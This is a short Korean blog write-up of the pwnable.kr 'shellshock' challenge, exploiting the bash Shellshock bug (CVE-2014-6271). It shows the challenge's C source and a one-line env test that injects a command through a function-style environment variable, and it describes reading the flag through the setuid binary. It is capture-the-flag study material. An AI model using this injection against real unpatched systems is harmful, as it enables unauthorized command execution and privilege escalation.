Self-Improvement

[pwnable.kr] shellshock 풀이 (쉘숔 CVE-2014-6271) 본문

리버싱 기초/pwnable.kr

[pwnable.kr] shellshock 풀이 (쉘숔 CVE-2014-6271)

JoGeun 2020. 6. 24. 09:24

소스코드

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}
cs

setresuid, setresgid가 존재하며 현재 경로의 bash 파일로 echo를 실행하고 있다.

이 부분을 이용하여 flag를 읽으라는 것 같다.

 

같은 경로에 존재하는 bash 파일이 취약한 것으로 파악되며 export 명령어로 취약한 환경변수를 만들어주고 bash 파일을 실행해 본다.

bash 파일은 취약한 것으로 보인다

env 명령어로도 가능하다. env x='() { :;}; echo 11' bash -c 'echo 22'

 

이제는 flag를 읽는 환경변수를 만들어주고 setresuid, setresgid가 설정된 shellshock 파일을 실행하면 flag를 읽어올 수 있다.